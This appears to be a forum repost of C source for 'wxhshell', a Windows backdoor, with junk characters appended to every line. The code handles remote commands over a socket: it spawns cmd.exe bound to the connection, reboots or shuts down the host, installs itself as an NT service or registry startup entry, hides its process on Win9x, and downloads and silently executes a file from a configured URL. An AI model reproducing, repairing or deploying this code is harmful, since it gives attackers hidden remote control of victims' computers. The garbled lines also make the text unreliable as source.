  // 帮助 U_VD* F4Bv  
  case '?': { c,D'Hl6(%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k*!J,/=k  
    break; B=Zo0 p^  
  } b7>;UX  
  // 安装 2>EIDRLJ-  
  case 'i': { ~{5%~8h.0r  
    if(Install()) Fa/i./V2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jzPC9  
    else CJu;X[6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fA 3  
    break; yS3x))  
    } Sl$dXB@  
  // 卸载 pp{);  
  case 'r': { U-lN_?  
    if(Uninstall()) G3U+BC23E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -y/?w*Cx  
    else [j!0R'T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fptW#_V2  
    break; iww h,(  
    } S [u <vHy  
  // 显示 wxhshell 所在路径 )>[(HxvfJU  
  case 'p': { d>AVUf<o~  
    char svExeFile[MAX_PATH]; n]o+KT\  
    strcpy(svExeFile,"\n\r"); 5cfzpOqr0  
      strcat(svExeFile,ExeFile); C*gSx3OG  
        send(wsh,svExeFile,strlen(svExeFile),0); lO9>?y8.y  
    break; Yd<~]aXM   
    } -d[x 09  
  // 重启 S`6'~g  
  case 'b': { n `n3[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +s S*EvF  
    if(Boot(REBOOT)) K^w9@&g6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@ w6.[#  
    else { 5#fLGXP  
    closesocket(wsh); =x^I 5Pn  
    ExitThread(0); Hou{tUm{xC  
    } M,#t7~t  
    break; q7)$WXe2LM  
    } _ssHRbE  
  // 关机 NeK:[Q@je  
  case 'd': { i#-Jl7V[a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #dl8+  
    if(Boot(SHUTDOWN)) ow$#kQ&R O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @O3w4Zs  
    else { w_{z"VeD  
    closesocket(wsh); 7}lZa~/  
    ExitThread(0); NMj `wQ`M+  
    } HOUyB's'  
    break; /f6]XP\'`+  
    } >WD^)W fa  
  // 获取shell I{Kc{MXn  
  case 's': { z)]EB6uRg  
    CmdShell(wsh); TY#1Z )%  
    closesocket(wsh); N%_~cR;  
    ExitThread(0); Y7jD:P  
    break; (la   
  } txgGL'  
  // 退出 C )I"yeS.  
  case 'x': { DQ9s57VxC!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T,IV)aq  
    CloseIt(wsh); wM yPR_  
    break; n$P v2qw  
    } JRiuU:=J~`  
  // 离开 \W\6m0-x  
  case 'q': { KXM-GIRUG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .o-j  
    closesocket(wsh); /9yiMmr5W  
    WSACleanup(); Sx~_p3_5U  
    exit(1); :^*V[77  
    break; vV'^HD^v  
        } iwVra"y  
  } K;97/"  
  } Xo*$|9[.  
R5i8cjKZ?w  
  // 提示信息 QP;b\1 1m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mvL'l)  
} B>]5/!_4  
  } z84W{! P  
h1kPsgzR  
  return; |l? ALP_g  
} =ddx/zN  
bOFLI#p&  
// shell模块句柄 0 iE).Za0g  
int CmdShell(SOCKET sock) eHJ7L8#  
{ TZP{=v<  
STARTUPINFO si; mQvKreo~  
ZeroMemory(&si,sizeof(si)); m@Nx`aS?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N 4v)0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2(rZ@Wl  
PROCESS_INFORMATION ProcessInfo; &B2c]GoW  
char cmdline[]="cmd"; w2,T.3DT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =%u|8Ea*`  
  return 0; NY;UI (<]  
} %<"11;0tp  
#,PAM.rH  
// 自身启动模式 "@?|Vv,vn  
int StartFromService(void) a "DV`jn  
{ Q)@1:(V/  
typedef struct O1ha'@qID  
{ Y1'.m5E  
  DWORD ExitStatus; I>3]4mI*a  
  DWORD PebBaseAddress; 4GfLS.Ip  
  DWORD AffinityMask; /SKr.S61e  
  DWORD BasePriority; W@C56fCa  
  ULONG UniqueProcessId; q5!l(QL.  
  ULONG InheritedFromUniqueProcessId; n>0dz#  
}   PROCESS_BASIC_INFORMATION; Fa!)$eb7  
MELGTP>  
PROCNTQSIP NtQueryInformationProcess; pjCWg 4ya  
) e2IT*7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `p{ !5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vg.%.~!9  
g Oj5c  
  HANDLE             hProcess; bGi_", 8  
  PROCESS_BASIC_INFORMATION pbi; sKuTG93sr@  
9v F2aLPk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JAb?u.,Ns_  
  if(NULL == hInst ) return 0; PM.SEzhm  
p<zXuocQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cGc|n3(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LJ/qF0L!H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _tReZ(Vw  
!TOi]`vqc  
  if (!NtQueryInformationProcess) return 0; f0`' i[  
s4gNS eA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +.lWck  
  if(!hProcess) return 0; huoKr  
 mo,l`UL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h3lDDyu  
Qkib;\2  
  CloseHandle(hProcess); WhZaq  
B#?2,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n2{{S(N  
if(hProcess==NULL) return 0; @."o:K  
I PVzV\o  
HMODULE hMod; |3,V%>z  
char procName[255]; |3s&Y`x-D  
unsigned long cbNeeded; k4$q|x7+%  
KY`96~z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xN m32~  
_0*>I1F~  
  CloseHandle(hProcess); B -~&6D,  
-k <9v.:  
if(strstr(procName,"services")) return 1; // 以服务启动 !ix<|F5  
IOkC[([  
  return 0; // 注册表启动 w;EXjl;X O  
} -p.*<y  
Jo3(bl %u  
// 主模块 unnx#e]  
int StartWxhshell(LPSTR lpCmdLine) uvDoo6'  
{ 1bJ]3\  
  SOCKET wsl; ' f$L  
BOOL val=TRUE; 7F(F.ut  
  int port=0; -?nT mzRc  
  struct sockaddr_in door; ewrWSffe  
EO&ACG  
  if(wscfg.ws_autoins) Install(); tt ]V$V  
0['"m^l0S  
port=atoi(lpCmdLine); U('<iw,Yy  
.Sr:"SrT  
if(port<=0) port=wscfg.ws_port; (Q5@MfK`  
T#n1@FgC  
  WSADATA data; zf,%BI[Hr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3rdfg  
UY-IHz;&O-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B`B%:#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PGPbpl&\t  
  door.sin_family = AF_INET; I26gGp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %Sn6*\z  
  door.sin_port = htons(port); [b.'3a++  
Yc82vSG'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @qPyrgy  
closesocket(wsl); NVJ&C]H6  
return 1; Nr24[e G>d  
} sk ?'^6Xh  
pTALhj#,  
  if(listen(wsl,2) == INVALID_SOCKET) { Ww96|m  
closesocket(wsl); nheU~jb  
return 1; M> jBm .  
} ls24ccOs  
  Wxhshell(wsl); l^!A  
  WSACleanup(); -#wVtXaSc  
ZjZhz`  
return 0; `_1(Q9Q  
PDt<lJU+X  
} "Ug/ ',jkV  
D*cyFAF  
// 以NT服务方式启动 ,xYsH+ybA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DMQNr(w{!2  
{ (~Uel1~@  
DWORD   status = 0; }@14E-N=  
  DWORD   specificError = 0xfffffff; ;}WtJ&y=M  
|[ Ie.&)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,MM>cOQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )@,90Vhh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1/2V.:bg  
  serviceStatus.dwWin32ExitCode     = 0; ,|.8nk"  
  serviceStatus.dwServiceSpecificExitCode = 0; xIQ/$[&v  
  serviceStatus.dwCheckPoint       = 0; MkDK/K$s  
  serviceStatus.dwWaitHint       = 0;  @yt 2_  
RM&H!E<#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y=a v8Y|`  
  if (hServiceStatusHandle==0) return; ;tp]^iB#  
sLG>>d3R1  
status = GetLastError(); 'B3Wza.  
  if (status!=NO_ERROR) y~ _za(k  
{ q#99iiG1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qBy NHo7Tb  
    serviceStatus.dwCheckPoint       = 0; i Y*o;z,~  
    serviceStatus.dwWaitHint       = 0; U|J$?aFDr  
    serviceStatus.dwWin32ExitCode     = status; 5fu+rU-#  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,\lY Px\P[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %o@['9U[j  
    return; 2f19W# '0  
  } Z'Exw-ca  
ACigeK^C}E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d&|z=%9xl  
  serviceStatus.dwCheckPoint       = 0; v7;J%9=0D`  
  serviceStatus.dwWaitHint       = 0; 8QVE_ Eu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); StU  4{  
} mDQEXMD  
rGnI(m.  
// 处理NT服务事件,比如:启动、停止 [1b6#I"x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =.36y9Mfo  
{ _F`$ d2  
switch(fdwControl) [ WV@w  
{ +M'aWlPg,  
case SERVICE_CONTROL_STOP: .tRr?*V|l  
  serviceStatus.dwWin32ExitCode = 0; Ot`LZ"H:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F qeV3 N  
  serviceStatus.dwCheckPoint   = 0; AH2 _#\  
  serviceStatus.dwWaitHint     = 0; 'tb(J3ZP  
  { ;)(Sdf[P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e1 x^PT  
  } `^7:7Wr]=  
  return; wMb)6YZs  
case SERVICE_CONTROL_PAUSE: -t8hi+NK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; erx 5j\  
  break; ~;M)qR?]W  
case SERVICE_CONTROL_CONTINUE: gjj 93  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D|@bGN  
  break; T'ED$}N>~  
case SERVICE_CONTROL_INTERROGATE:  hv+|s(  
  break; 4_PCq Ep)  
}; pOC% oj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f64(a\Rw!^  
} M1oPOC\0.  
$hkq>i \  
// 标准应用程序主函数 qWsylC23  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Z+"`"^o}  
{ Q [r j  
i2){xg~c  
// 获取操作系统版本 M.>^{n$ z  
OsIsNt=GetOsVer(); 0b/i r2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *cbeyB{E  
e`i7ah;  
  // 从命令行安装 CSMeSPOm]  
  if(strpbrk(lpCmdLine,"iI")) Install(); E7Ibp79}N  
 _e%dM  
  // 下载执行文件 g;pR^D'M5C  
if(wscfg.ws_downexe) { jY7=mAd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *YWk1Cwjo  
  WinExec(wscfg.ws_filenam,SW_HIDE); wfgqgPo!v  
} ?4XnEDA m  
%.mEBI=hs  
if(!OsIsNt) { W'a(oI  
// 如果时win9x,隐藏进程并且设置为注册表启动 V=pMq?Nr  
HideProc(); TG}d3ZU !  
StartWxhshell(lpCmdLine); M!1U@6n!=)  
} j'K38@M:MN  
else F{<5aLaYti  
  if(StartFromService()) -?s&pKi  
  // 以服务方式启动 yuOS&+,P  
  StartServiceCtrlDispatcher(DispatchTable); kv6Cp0uFg  
else >F1G!#$0  
  // 普通方式启动 ~h-C&G ,v  
  StartWxhshell(lpCmdLine); Nln`fE/Ht  
5W/{h q8}}  
return 0; 6{q;1-8j+j  
}
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只看该作者 1 发表于: 2006-10-10
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